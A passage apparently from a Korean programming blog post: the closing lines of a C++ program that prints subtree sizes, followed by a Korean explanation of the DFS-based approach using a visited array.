    for (int i = 1; i <= n; i++) {
        cout << sub_tree_size[i] << " ";
    }
    cout << "\n";

    return 0;
}

몇개의 노드를 입력 받을지 정한뒤 맨처음 1번 노드를 제외 한 노드들이 연결된 부모트리를 vector tree에 값을 초기화 한뒤

dfs를 이용하여 검사한다 첫번째 자기 자신은 확인을 한 상태 이므로 검사를 한지 확인 하기 위해 bool형의 배열을 이용한다.

그 후 for문을 돌며 트리를 탐색 하는데 만약에 검사를 한것이면 continue를 하여 반복문을 나간다.

검사를 하지 않은 것 이라면 sub_tree_size에 값을 증가 시킨다.

그후 dfs를 한번더 하여 값을 역으로 바꾼뒤 for문을 이용하여 출력 한다.